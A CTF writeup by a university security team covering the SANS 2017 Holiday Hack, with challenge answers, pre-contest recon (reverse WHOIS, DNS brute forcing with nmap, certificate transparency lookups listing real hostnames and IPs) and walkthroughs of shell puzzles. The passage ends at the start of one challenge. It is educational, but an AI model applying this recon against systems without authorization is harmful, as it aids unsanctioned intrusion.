# SANS 2017 Holiday Hack Writeup

## Introduction

We are the Security team at the National Center for Supercomputing Applications, and like last year, we worked together on a fun SANS Holiday Hack. Over the past year, we've been surprised to see how many skills and tricks from the 2016 Holiday Hack we have used for our jobs.

We've done "red-team" work such as code reviews and pen-tests, where we encountered issues such as insufficient PHP input sanitization, development files being left in production, and services being unintentionally exposed. Our role in such instances is to find these issues before someone malicious does, and to help and educate our users to better understand and prevent this from reoccuring. Other work we do is architecting defenses and mitigations: how do we secure systems and services, while being as transparent as possible to end-users?

As we do red-team work, it's useful to try to think like a defender: "How would I have secured this system, and are there any ways around that?" Similarly, as we do blue-team work, we need to know the methods and tools an attacker would use.

### Overview

If you're unfamiliar with the SANS Holiday Hack, please check that out first! We encourage you to give it a shot before reading this solution. It's a great learning opportunity, and it stays up all year and into the future. Huge shout-out to SANS for putting on this event.

We kick things off with some very short answers to the 9 questions we were posed. Something different that we did this year was to do some reconnaissance before the Hack even began. The 2017 Challenge consisted of two parts, with the first being The North Pole and Beyond world – an in-browser WebGL-based game, where players could earn points and hints by manuevering giant snowballs around an obstacle course. Hidden in this game were "Cranberry Pi" terminals, which had simple challenges to be solved as we helped the elves fix their broken systems.

The second part of the challenge was gaining access to North Pole systems and recovering lost pages from the Great Book. These challenges required finding and exploiting vulnerabilities, and often chaining different attacks together. Once we had all the pages, we could determine who the villain was.

We end our report with various Easter Eggs that we found, and a couple of appendices that go into more detail on certain topics.

For our solutions, we review the information that we were given, lay out how we solved it, and what led us to the solution, and when possible, show some other ways that we could've approached the challenge. Overall, we tried to stick as closely as possible to the hints, blog posts, and tools provided …and then to try to elevate privileges, crack passwords, and see what other information we could find — all while taking care to stay within the scope of the challenge. We also tried to automate as much of our work as possible, and we make these tools publicly available.

We hope you enjoy our report. We certainly enjoyed writing it.

2. What is the topic of The Great Book page available in the web root of the server? On the Topic of Flying Animals
3. What is the file server share name? FileStor
4. What can you learn from The Great Book page found in an e-mail on EWA? The behavior of the Abominable Snowman ("Bumble") has recently become erratic. Rumor has it that there must've been some magic in something he ate.
Editor's Note: This answer should describe The Lollipop Guild, as found on Page 4 of The Great Book. The authors correctly describe how to obtain this page in their walkthrough below. -The Counter Hack Crew
5. How many infractions are required to be marked as naughty? 4
What are the names of at least six insider threat moles? Isabel Mehta, Nina Fitzgerald, Kirsty Evans, Sheri Lewis, Beverly Khalil, Christy Srivastava as well as the two in the BOLO, Bini Aru and Boq Questrian
Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof? The Abominable Snow Monster, Bumble. Based on a chat with Sam the Snowman.
6. What is the title of The Great Book page on EAAS? The Dreaded Inter-Dimensional Tornadoes
7. What does The Great Book page on EMI describe? The Witches of Oz
8. Who wrote the letter to Santa on edb? The Wizard of Oz
9. Which character is the villain, and what is the motive? Glinda, the Good Witch. To stir up elf-munchkin hostilities and sell her magic to both sides.

## Pre-contest Reconnaissance

On December 5th, the SANS Holiday Hack Challenge was updated to tell us that the 2017 Hack was coming soon, and encouraging us to catch up on past challenges. The next day, we started doing just that. In addition to reviewing previous challenges, we also began some reconnaissance for the 2017 challenge.

Recon is a crucial step of any good penetration test, and is one that often gets skipped in a "Capture the Flag" type of competition, since most of the information is provided. Nevertheless, let's see what we can find. The more information we have ahead of time, the better prepared we'll be, and the less work we'll have to do during the actual contest.

Much like how attackers will have indicators of compromise (IOCs) which allow us to track and follow an individual attacker, the Counter Hack team also does similar things every year, and will leave behind some clues.

### Whois Searching

For example, the 2016 contest made use of the domain www.northpolewonderland.com. We can look at publicly available WHOIS data for that domain:

whois northpolewonderland.com | grep Registrant

Registrant Name: Edward Skoudis
Registrant Organization: Counter Hack
Registrant Street: 2402 Alexandra Court
Registrant City: Howell
Registrant State/Province: New Jersey
Registrant Postal Code: 07731
Registrant Country: US
Registrant Phone: +1.7327511024
Registrant Phone Ext:
Registrant Fax: +1.7327511024
Registrant Fax Ext:
Registrant Email: edskoudis@yahoo.com


There are a few services that allow you to do a "reverse WHOIS" search, to search for domains by WHOIS data. For instance to search for other domains where "edskoudis@yahoo.com" shows up in the contact info:

Domain Name Creation Date Registrar
counterhack.net 2001-06-22 NETWORK SOLUTIONS, LLC.
skoudis.com 2001-06-22 NETWORK SOLUTIONS, LLC.

This isn't comprehensive, since northpolewonderland.com didn't show up in the results, but cranbian.org was another domain from 2016 that does show up.

There are a couple of new entries since the 2016 contest, 1hrctf and northpolechristmastown.com. 1hrctf seems unrelated, but it's a good bet that northpolechristmastown.com will show up in the 2017 challenge.

At this point, we have to proceed with extreme caution. Since the contest hasn't started, nothing is in scope yet. Any further digging should be as unintrusive as possible.

### DNS Brute Forcing

Now that we have a domain we're interested in, let's look at DNS:

dig ANY northpolechristmastown.com

;; ANSWER SECTION:
northpolechristmastown.com. 5	IN	TXT	"v=spf1 include:_spf.google.com -all"
northpolechristmastown.com. 5	IN	MX	30 ALT2.ASPMX.L.GOOGLE.com.
northpolechristmastown.com. 5	IN	MX	40 ASPMX2.GOOGLEMAIL.com.
northpolechristmastown.com. 5	IN	MX	20 ALT1.ASPMX.L.GOOGLE.com.
northpolechristmastown.com. 5	IN	MX	50 ASPMX3.GOOGLEMAIL.com.
northpolechristmastown.com. 5	IN	MX	10 ASPMX.L.GOOGLE.com.
northpolechristmastown.com. 5	IN	SOA	ns53.domaincontrol.com. dns.jomax.net. 2017120112 28800 7200 604800 600
northpolechristmastown.com. 5	IN	NS	ns54.domaincontrol.com.
northpolechristmastown.com. 5	IN	NS	ns53.domaincontrol.com.


From this, we can tell that GMail provides the e-mail for the domain, and GoDaddy provides the DNS service. Of note, however, is that there are no A or AAAA records, so northpolechristmastown.com does not resolve to anything.

Next, we'll try some Google dorking. Googling for site:northpolechristmastown.com reveals nppd.northpolechristmastown.com, which is a Sign In page for the North Pole Police Department. It looks like nppd uses Google OAuth for authentication, and most pages are forbidden with a regular GMail account.

Checking a few other common URLs on nppd, we can find some resources that are available, including favicon.ico and robots.txt:

User-agent: hk-47
Disallow: /
Disallow: /needhelp
Disallow: /infractions
Disallow: /community

User-agent: threepio
Sand-Crawler-delay: 421

User-agent: artoo
Sand-Crawler-delay: 2187


Everything here but /infractions is forbidden. Looking at that page returns a list of infractions, such as "Unauthorized access to cookie jar" or "Computer infraction: Accessing siblings files without permission." We also see some interesting infractions that refer to previous Holiday Hacks:

    {
"date": "2016-12-25T00:00:00",
"name": "Dr. Who",
"severity": 5.0,
"status": "closed",
"title": "Trying to ruin Christmas"
},
{
"date": "2015-12-25T00:00:00",
"name": "Cindy Lou Who",
"severity": 5.0,
"status": "closed",
"title": "Trying to ruin Christmas"
}
],
"query": "name:Who"


Going back to DNS, we can try to enumerate some hosts under the top level domain. FuzzDB has a nice list of common DNS name, and we can use an nmap script to try to query those:

$nmap --script dns-brute --script-args dns-brute.domain=northpolechristmastown.com,dns-brute.threads=1,dns-brute.hostlist=fuzzdb/discovery/dns/dnsmapCommonSubdomains.txt  Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-06 18:54 CST Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 0.00% done Pre-scan script results: | dns-brute: | DNS Brute-force hostnames: | intranet.northpolechristmastown.com - 35.196.239.128 | files.northpolechristmastown.com - 35.185.43.23 | dev.northpolechristmastown.com - 35.185.84.51 | admin.northpolechristmastown.com - 35.185.115.185 |_ mail.northpolechristmastown.com - 35.185.115.185  A couple of other lists resulted in the following hostnames as well: | DNS Brute-force hostnames: | emi.northpolechristmastown.com - 35.185.57.190 |_ ewa.northpolechristmastown.com - 35.185.115.185  ### Certificate Transparency Logs Next, let's turn our attention to the holidayhackchallenge.com domain. Last year, there were some new hosts that appeared under this domain (e.g. quest2016.holidayhackchallenge.com). Brute-forcing this will likely not get us very far, so let's try a different approach: certificate transparency logs. Many certificate authorities maintain transparency systems, so that issued certificates can be publicly reviewd. Symantec, for instance, has a free tool that will search the logs of several certificate authorities: Searching for holidayhackchallenge.com reveals the following certificates that don't look familiar: Common Name Subject Alternate Names (SANs) IP 2017.holidayhackchallenge.com 2017, puzzler2017 35.196.67.150 docker2017.holidayhackchallenge.com 35.190.163.207 chat.holidayhackchallenge.com 35.196.73.180 ### Monitoring None of the 3 servers listed above are currently accessible on port 80 or 443 (HTTP and HTTPS). We setup some monitoring using a free online service (uptimerobot.com). Every 5 minutes, it would try to connect to HTTP and HTTPs on the 3 servers listed above. Once the systems become available, it will text us and post a message to our Slack channel. Once that happens, the hack is on, and we'll be ready to hit the ground running. ### And Then Things Changed… On December 11th, this setup was changed, and a lot of hosts were removed from DNS. We believe that the systems were reconfigured to only be accessible from private IP space. The systems where the configuration changed are marked in italics in the table below. ### Recon Summary We can use the following indicators to search any clues we're later provided with: Indicator Type Source northpolechristmastown.com Domain Reverse WHOIS holidayhackchallenge.com Domain 2016 Hack nppd.northpolechristmastown.com FQDN Google Search intranet.northpolechristmastown.com FQDN DNS Brute Force files.northpolechristmastown.com FQDN DNS Brute Force dev.northpolechristmastown.com FQDN DNS Brute Force admin.northpolechristmastown.com FQDN DNS Brute Force mail.northpolechristmastown.com FQDN DNS Brute Force emi.northpolechristmastown.com FQDN DNS Brute Force ewa.northpolechristmastown.com FQDN DNS Brute Force 2017.holidayhackchallenge.com FQDN Cert Transparency puzzler2017.holidayhackchallenge.com FQDN Cert SAN docker2017.holidayhackchallenge.com FQDN Cert Transparency chat.holidayhackchallenge.com FQDN Cert Transparency 35.185.43.23 IP DNS (files) 35.185.57.190 IP DNS (emi) 35.185.84.51 IP DNS (dev) 35.185.115.185 IP DNS (admin, mail, ewa) 35.190.163.207 IP DNS (docker2017) 35.196.67.150 IP DNS (2017) 35.196.73.18 IP DNS (chat) 35.196.239.128 IP DNS (intranet) HK-47 (Star Wars Droid) Reference nppd robots.txt Artoo (Star Wars Droid) Reference nppd robots.txt Threepio (Star Wars Droid) Reference nppd robots.txt Sand-Crawler (Star Wars Vehicle) Reference nppd robots.txt North Pole Police Department Reference nppd /infractions Cindy Lou Who (2015 Hack) Reference nppd /infractions Dr. Who (2016 Hack) Reference nppd /infractions ## Terminals ### Winter Wonder Landing #### Question  | \ ' / -- (*) -- >*< >0<@< >>>@<<* >@>*<0<<< >*>>@<<<@<< >@>>0<<<*<<@< >*>>0<<@<<<@<<< >@>>*<<@<>*<<0<*< \*/ >0>>*<<@<>0><<*<@<< ___\\U//___ >*>>@><0<<*>>@><*<0<< |\\ | | \\| >@>>0<*<0>>@<<0<<<*<@<< | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*< |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<< |\\_|_|&&_// ||*.*.*.*|_\\db//_ """"|'.'.'.|~~|.*.*.*| ____|_ |'.'.'.| ^^^^^^|____|>>>>>>| ~~~~~~~~ '""""------' My name is Bushy Evergreen, and I have a problem for you. I think a server got owned, and I can only offer a clue. We use the system for chat, to keep toy production running. Can you help us recover from the server connection shunning? Find and run the elftalkd binary to complete this challenge.  #### How to find the terminal #### Background Information We are logged in as the user elf. According to Bushy Green's Twitter account someone copied the wrong find executable onto his system. #### Goal According to the MOTD we need to find and run the elftalkd binary. #### Hints Bushy Evergreen on Twitter has a hint: #### Approach To solve this challenge we need to find a valid version of find on the system or some other viable version to find the elftalkd binary. #### Solution First we need to test what's wrong with find. elf@784e43534178:~$ find
bash: /usr/local/bin/find: cannot execute binary file: Exec format error


It looks like find is located in /usr/local/bin/find. find is a standard UNIX utility and is not normally located in /usr/local so this output is unexpected. Let's look at our PATH variable that identifies the order that executables are located in.

elf@784e43534178:~$echo$PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games


/usr/local/bin is prioritized before /usr/bin. Let's see if find exists in the normal /usr/bin location.

elf@784e43534178:~$ls -al /usr/bin/find -rwxr-xr-x 1 root root 221768 Feb 7 2016 /usr/bin/find  The original find is still there. We can use it to find the elftalkd binary and execute it. elf@784e43534178:~$ /usr/bin/find / -iname elftalkd
/usr/bin/find: '/var/cache/ldconfig': Permission denied
/usr/bin/find: '/var/cache/apt/archives/partial': Permission denied
/usr/bin/find: '/var/lib/apt/lists/partial': Permission denied
/run/elftalk/bin/elftalkd
/usr/bin/find: '/proc/tty/driver': Permission denied
/usr/bin/find: '/root': Permission denied
elf@784e43534178:~$/run/elftalk/bin/elftalkd Running in interactive mode --== Initializing elftalkd ==-- Initializing Messaging System! Nice-O-Meter configured to 0.90 sensitivity. Acquiring messages from local networks... --== Initialization Complete ==-- _ __ _ _ _ _ | |/ _| | | | | | | ___| | |_| |_ __ _| | | ____| | / _ \ | _| __/ _ | | |/ / _ | | __/ | | | || (_| | | < (_| | \___|_|_| \__\__,_|_|_|\_\__,_| -*> elftalkd! <*- Version 9000.1 (Build 31337) By Santa Claus & The Elf Team Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved. Using libc6 version 2.23-0ubuntu9 LANG=en_US.UTF-8 Timezone=UTC Commencing Elf Talk Daemon (pid=6021)... done! Background daemon...  #### Alternatives The quick method is to iterate through using wildcards to execute the binary. elf@784e43534178:~$ /elftalkd
bash: /elftalkd: No such file or directory
elf@784e43534178:~$/*/elftalkd bash: /*/elftalkd: No such file or directory elf@784e43534178:~$ /*/*/elftalkd
bash: /*/*/elftalkd: No such file or directory
elf@784e43534178:~$/*/*/*/elftalkd Running in interactive mode --== Initializing elftalkd ==-- Initializing Messaging System! ...  This can also be further simplified by using the relatively new bash option globstar. According to the documentation, "If set, the pattern '**' used in a filename expansion context will match all files and zero or more directories and subdirectories. If the pattern is followed by a ‘/’, only directories and subdirectories match." With this option enabled, we only need a single attempt to find and execute the binary: elf@784e43534178:~$ shopt -s globstar
elf@784e43534178:~$/**/elftalkd Running in interactive mode --== Initializing elftalkd ==-- Initializing Messaging System! ...  ### Winconceivable The Cliffs Of Insanity #### Question  ___,@ / < ,_ / \ _, ? \/______\/ ,_(_). |; (e e) ;| \___ \ \/\ 7 /\/ _\8/_ \/\ \'=='/ | /| /| \ \___)--(_______|//|//| \___ () _____/|/_|/_| / () \ ----' / () \ '-.______.-' jgs _ |_||_| _ (@____) || (____@) \______||______/ My name is Sparkle Redberry, and I need your help. My server is atwist, and I fear I may yelp. Help me kill the troublesome process gone awry. I will return the favor with a gift before nigh. Kill the "santaslittlehelperd" process to complete this challenge.  #### How to find the terminal #### Background Information elf@784e43534178:~$ D="------"; echo "$D System info:"; uname -a; cat /etc/issue; echo "$D Differences from skeleton home directory:"; diff -r /etc/skel .; echo "$D Who am I?"; id; echo "$D Running procs:"; ps axf
------ System info:
Linux 784e43534178 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 16.04.3 LTS \n \l
------ Differences from skeleton home directory:
diff -r /etc/skel/.bashrc ./.bashrc
81c81,84
<
---
>     alias kill='true'
>     alias killall='true'
>     alias pkill='true'
>     alias skill='true'
117a121,122
> PATH=$PATH:/usr/games > cat /etc/motd ------ Who am I? uid=1000(elf) gid=1000(elf) groups=1000(elf) ------ Running procs: PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 8 pts/0 S 0:00 /usr/bin/santaslittlehelperd 11 pts/0 S 0:00 /sbin/kworker 18 pts/0 S 0:01 \_ /sbin/kworker 12 pts/0 S 0:00 /bin/bash 994 pts/0 R+ 0:00 \_ ps axf  We see that /usr/bin/santaslittlehelperd is running, and we're told that we need to kill it. However, we see that in our .bashrc file, kill and its variants are aliased to true, which has no effect. #### Goal We need to kill santaslittlehelperd, but our kill has been turned ineffective. #### Hints Sparkle Redberry on Twitter has some hints: #### Approach From the Bash documentation: A Bash alias is essentially nothing more than a keyboard shortcut, an abbreviation, a means of avoiding typing a long command sequence. Here, however, aliases have been used to effectively disable kill and its brethren. We need to figure out a way to run the real version of kill instead of the aliased version. One way to do this is to use the which command: elf@784e43534178:~$ which kill
/bin/kill


Using the full path to the binary will bypass the alias, and allow us to actually run kill.

elf@784e43534178:~$/bin/kill -h Usage: kill [options] <pid> [...] Options: <pid> [...] send signal to every <pid> listed -<signal>, -s, --signal <signal> specify the <signal> to be sent -l, --list=[<signal>] list all signal names, or convert one to a name -L, --table list all signal names in a nice table -h, --help display this help and exit -V, --version output version information and exit For more details see kill(1).  All that's left is to determine the process ID (pid) of the process to be killed. We can use the ps command to determine this: elf@784e43534178:~$ ps axf
PID TTY      STAT   TIME COMMAND
1 pts/0    Ss     0:00 /bin/bash /sbin/init
8 pts/0    S      0:00 /usr/bin/santaslittlehelperd
11 pts/0    S      0:00 /sbin/kworker
18 pts/0    S      0:01  \_ /sbin/kworker
12 pts/0    S      0:00 /bin/bash
649 pts/0    R+     0:00  \_ ps axf
elf@784e43534178:~$/bin/kill 8 elf@784e43534178:~$ ps axf
PID TTY      STAT   TIME COMMAND
1 pts/0    Ss     0:00 /bin/bash /sbin/init
12 pts/0    S      0:00 /bin/bash
658 pts/0    R+     0:00  \_ ps axf


Santa's little helper is no more.

#### Solution

A one-liner is: /usr/bin/pkill -f santaslittlehelperd. pkill can kill a process by name, and the -f argument will have it match against the full name of the process.

#### Alternatives

Another approach is simply to remove the alias, by using the unalias command:

elf@784e43534178:~$unalias kill elf@784e43534178:~$ ps axf
PID TTY      STAT   TIME COMMAND
1 pts/0    Ss     0:00 /bin/bash /sbin/init
8 pts/0    S      0:00 /usr/bin/santaslittlehelperd
11 pts/0    S      0:00 /sbin/kworker
18 pts/0    S      0:00  \_ /sbin/kworker
12 pts/0    S      0:00 /bin/bash
31 pts/0    R+     0:00  \_ ps axf
elf@784e43534178:~$kill 8 elf@784e43534178:~$ ps axf
PID TTY      STAT   TIME COMMAND
1 pts/0    Ss     0:00 /bin/bash /sbin/init
12 pts/0    S      0:00 /bin/bash
36 pts/0    R+     0:00  \_ ps axf


Alternatively, you could run bash with the --norc flag, which prevents it from reading and executing the ~/.bashrc file where the aliases are added.

One more approach is to call the command you want with a backslash.

elf@784e43534178:~$\kill 8 elf@784e43534178:~$ ps axf
PID TTY      STAT   TIME COMMAND
1 pts/0    Ss     0:00 /bin/bash /sbin/init
12 pts/0    S      0:00 /bin/bash
36 pts/0    R+     0:00  \_ ps axf


Or call the command in quotes.

elf@784e43534178:~$"kill" 8 elf@784e43534178:~$ ps axf
PID TTY      STAT   TIME COMMAND
1 pts/0    Ss     0:00 /bin/bash /sbin/init
12 pts/0    S      0:00 /bin/bash
36 pts/0    R+     0:00  \_ ps axf


#### Common Pitfalls

The fact that kill was aliased to true was problematic, because true never returns any output. Thus, it would look like the kill command worked, but the process would still be running. Running something like kill -h would reveal that kill was not being run correctly, since the help output would not be displayed.

### Cryokinetic Magic

#### Question

                     ___
/ __'.     .-"""-.
.-""-| |  '.'.  / .---. \
/ .--. \ \___\ \/ /____| |
/ /    \ -.-;-(_)_____.-'._
; ;      .-" "-:_,(o:==..-. '.         .-"-,
| |      /       \ /      \ . \       / .-. \
\ \     |         Y    __...\  \ \     / /   \/
/\     | |    | .--""--.| .-'      \  '.---' /
\ \   / /     |        \'   _...--.;   '---'
\ '-' / jgs  /_..---.._ \ .'\\_     .
--'      .'    (_)  '/   (_)     /
._       _.'|         .'
    '-...--'

My name is Holly Evergreen, and I have a conundrum.
I broke the candy cane striper, and I'm near throwing a tantrum.
Assembly lines have stopped since the elves can't get their candy cane fix.
We hope you can start the striper once again, with your vast bag of tricks.

Run the CandyCaneStriper executable to complete this challenge.


#### Background Information

Upon initial inspection we discover that /usr/bin/chmod is empty and CandyCaneStriper has no execution flags set.

#### Goal

We need to run the CandyCaneStriper program, but we can't use the chmod binary.

#### Hints

Following the link describes a familiar situation:

Is there a way to run an executable binary file under Linux which does not have the execute bit set? chmod +x is not an option.

#### Approach

Let's take a look at the executable we're dealing with:

elf@784e43534178:~$ls -l CandyCaneStriper -rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper elf@784e43534178:~$ file CandyCaneStriper
CandyCaneStriper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bfe4ffd88f30e6970feb7e3341ddbe579e9ab4b3, stripped


Much like how Python and Perl scripts have interpreters, ELF binaries also have interpreters. For our target, file tells us that our interpreter is /lib64/ld-linux-x86-64.so.2.

elf@784e43534178:~$/lib64/ld-linux-x86-64.so.2 Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...] You have invoked ld.so', the helper program for shared library executables. This program usually lives in the file /lib/ld.so', and special directives in executable files using ELF shared libraries tell the system's program loader to load the helper program from this file. This helper program loads the shared libraries needed by the program executable, prepares the program to run, and runs it. You may invoke this helper program directly from the command line to load and run an ELF executable file; this is like executing that file itself, but always uses this helper program from the file you specified, instead of the helper program file specified in the executable file you run. This is mostly of use for maintainers to test new versions of this helper program; chances are you did not intend to run this program. --list list all dependencies and how they are resolved --verify verify that given object really is a dynamically linked object we can handle --inhibit-cache Do not use /etc/ld.so.cache --library-path PATH use given PATH instead of content of the environment variable LD_LIBRARY_PATH --inhibit-rpath LIST ignore RUNPATH and RPATH information in object names in LIST --audit LIST use objects named in LIST as auditors elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper


elf@784e43534178:~$/lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper _..._ .'\\ //, /\\.''.=", / \/ ;==| /\\/ .'\, / \/ "" /\\/ /\\/ /\ / /\\/ /\/ \\/  The candy cane striping machine is up and running!  #### Alternatives There are many different ways to solve this challenge. Overwrite an executable file with the existing binary: elf@784e43534178:~$ ls -l /bin/chmod
-rwxr-xr-x 1 root root 0 Dec 15 20:00 /bin/chmod
elf@784e43534178:~$cp /bin/ls new elf@784e43534178:~$ cat CandyCaneStriper  > new
elf@784e43534178:~$ls -l total 96 -rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper -rwxr-xr-x 1 elf elf 45224 Dec 17 00:15 new elf@784e43534178:~$ ./new


Use python to chmod. The chmod binary is just a wrapper around the chmod libc function. Any programming language will have this available:

>>> import os
>>> os.chmod("CandyCaneStriper", 0755)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
OSError: [Errno 1] Operation not permitted: 'CandyCaneStriper'


FAIL :( For some reason we can't modify CandyCaneStriper. What if make a copy first?

elf@784e43534178:~$cp CandyCaneStriper c elf@784e43534178:~$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
>>> import os
>>> os.chmod("c", 0755)
>>> ^d
elf@784e43534178:~$./c  With perl: elf@784e43534178:~$ cp CandyCaneStriper c
elf@784e43534178:~$cat > fix.pl chmod 0755 "c"; ^d elf@784e43534178:~$ perl fix.pl
String found where operator expected at fix.pl line 1, near "0755 "c""
(Missing operator before  "c"?)
syntax error at fix.pl line 1, near "0755 "c""
Execution of fix.pl aborted due to compilation errors.
elf@784e43534178:~$cat > fix.pl chmod 0755, "c"; ^d elf@784e43534178:~$ perl fix.pl
elf@784e43534178:~$./c  Or as a perl one liner, now that we figured out the syntax: elf@784e43534178:~$ cp CandyCaneStriper c
elf@784e43534178:~$perl -e 'chmod 0755, "c"'  ### There's Snow Place Like Home #### Question  ______ .-"""".._'. _,## _..__ |.-"""-.| | _,##'-._ (_____)||_____|| |_,##'-._,##' _| |.;-""-. | |#'-._,##' _.;_ --' \ \ |.'\._,##' /.-.\ \ |.-";._, |##' |\__/ | _..;__ |'-' / '.____.'_.-)\--' /'-' //||\\(_.-'_,'-' (-...-')_,##' jgs _,##-..,-;## _,##'-._,##' _,##'-._,##' -._,##' My name is Pepper Minstix, and I need your help with my plight. I've crashed the Christmas toy train, for which I am quite contrite. I should not have interfered, hacking it was foolish in hindsight. If you can get it running again, I will reward you with a gift of delight.  #### How to find the terminal #### Background Information We're logged in as the user elf. There's a file called trainstartup in our home directory. This is a 64-bit x86 system: elf@784e43534178:~$ uname -a
Linux 784e43534178 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux


#### Goal

It looks like we just want to run the trainstartup file, but if we try that, we get an exec error:

elf@784e43534178:~$./trainstartup bash: ./trainstartup: cannot execute binary file: Exec format error  #### Hints Pepper Minstix on Twitter has a hint: Holly Evergreen on Twitter has a hint for this as well: #### Approach There's really not much to go on here. We'll first use file to identify the trainstartup binary: elf@784e43534178:~$ file trainstartup
trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped


So the file is a Linux ELF binary, but it's for the ARM processor, and not for the x86_64 system that we're on. Let's see if there are any programs in our path that have arm in the file name:

elf@784e43534178:~$compgen -c | grep arm qemu-arm qemu-armeb  Running it with the help option gives us: elf@784e43534178:~$ qemu-arm -h
usage: qemu-arm [options] program [arguments...]
Linux CPU emulator (compiled for arm emulation)
...


This looks like exactly what we need. qemu-arm provides us with an ARM emulator, and we just need to run it with our program as the single argument. Let's give it a shot:

elf@784e43534178:~$qemu-arm ./trainstartup Starting up ... Merry Christmas Merry Christmas v >*< ^ /o\ / \ @.· /~~ \ . / ° ~~ \ · / ~~ \ ◆ / ° ~~\ . 0 /~~ \ ─· ─ · o ┌┐ /° ·~~ .*· . \ ▒▒▒\ │ ──┬─°─┬─°─°─°─ ≠==≠°=≠°=≠==──┼──=≠ ≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠ │ /└───┘\┌───┐ └───┘ ≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠ You did it! Thank you!  Success! #### Solution You need to use qemu-arm to run the ARM binary: qemu-arm ./trainstartup #### Alternatives The real difficulty of this terminal was in discovering that you needed to use qemu-arm. compgen -c is a handy trick in CTFs to figure out what special programs are installed on a certain system. Another useful trick is using find to see what changes were made to the system after it was installed. Let's take a quick look at qemu-arm and at another file we know was changed, trainstartup: elf@784e43534178:~$ stat /usr/bin/qemu-arm trainstartup
File: '/usr/bin/qemu-arm'
Size: 1725888         Blocks: 3376       IO Block: 4096   regular file
Device: 801h/2049d      Inode: 1049395     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-09-20 14:01:57.000000000 +0000
Modify: 2017-09-20 14:01:57.000000000 +0000
Change: 2017-12-06 20:01:07.719592650 +0000
Birth: -
File: 'trainstartup'
Size: 454636          Blocks: 888        IO Block: 4096   regular file
Device: 801h/2049d      Inode: 1049511     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-12-07 18:43:55.000000000 +0000
Modify: 2017-12-07 18:43:55.000000000 +0000
Change: 2017-12-07 18:43:58.191037092 +0000
Birth: -


If we look at the change time (or ctime), we can see that this system was setup around December 6th, with the status of trainstartup being changed the next day. An important thing to remember with ctime is that the file contents didn't change, but some data in the file inode did (permissions, creation, etc.). Normally, we might use something like the modification time, but that doesn't work well for files installed from packages.

A common way to setup a system is to first add sources to the package manager, then install any necessary packages, and make any additional modifications to a system. Let's use find to see what files were modified after /etc/apt was changed, and we'll look for files with arm in the name:

elf@784e43534178:~$find / -xdev -cnewer /etc/apt/sources.list | grep -w arm /usr/bin/qemu-arm /usr/share/man/man1/qemu-arm.1.gz  In this case, I'm using -xdev to restrict the find to files on the same device (thus excluding /sys, /proc, etc.). If that still didn't work, here's a one-liner to sort the files on the system according to when their ctime was modified. This would enable you to see a complete timeline of changes to files: elf@784e43534178:~$ find / -xdev -printf "%C+\t%p\n" | sort | head
2017-12-04+14:36:51.7363603170  /bin/bash
2017-12-04+14:36:51.7363603170  /bin/bunzip2
2017-12-04+14:36:51.7363603170  /bin/bzcat
2017-12-04+14:36:51.7363603170  /bin/bzcmp
2017-12-04+14:36:51.7363603170  /bin/bzdiff
2017-12-04+14:36:51.7363603170  /bin/bzegrep
...


#### Common Pitfalls

This terminal was tricky because almost no information was given. Knowing how to use file to identify that trainstartup was an ARM binary, and knowing how to find qemu-arm was key.

If you simply google "cannot execute binary file: Exec format error" it will lead you down a rabbit hole. Normally, this error is caused by downloading a binary for the wrong architecture and the fix is to simply re-download the right binary. In this case, we can't download a version of the binary built for the correct architecture. What we need to do is "Run arm binary on amd64". Searching for this points us to using qemu as an emulator.

### Bumble's Bounce

#### Question

                           ._    _.
(_)  (_)                  <> \  / <>
.\::/.                   \_\/  \/_/
.:.          _.=._\\//_.=._                  \\//
..   \o/   ..      '=' //\\ '='             _<>_\_\<>/_/_<>_
:o|   |   |o:         '/::\'                 <> / /<>\ \ <>
~ '. ' .' ~         (_)  (_)      _    _       _ //\\ _
>O<             '      '     /_/  \_\     / /\  /\ \
_ .' . '. _                        \\//       <> /  \ <>
:o|   |   |o:                   /\_\\><//_/\
''   /o\   ''     '.|  |.'      \/ //><\\ \/
':'        . ~~\  /~~ .       _//\\_
jgs                   _\_._\/_._/_      \_\  /_/
/ ' /\ ' \                   \o/
o              ' __/  \__ '              _o/.:|:.\o_
o    :    o         ' .'|  |'.                  .\:|:/.
'.\'/.'                 .                 -=>>::>o<::<<=-
:->@<-:                 :                   _ '/:|:\' _
.'/.\'.           '.___/*\___.'              o\':|:'/o
o    :    o           \* \ / */                   /o\
o                 >--X--<
/*_/ \_*\
.'   \*/   '.
:
'
Minty Candycane here, I need your help straight away.
We're having an argument about browser popularity stray.
Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.


#### Goal

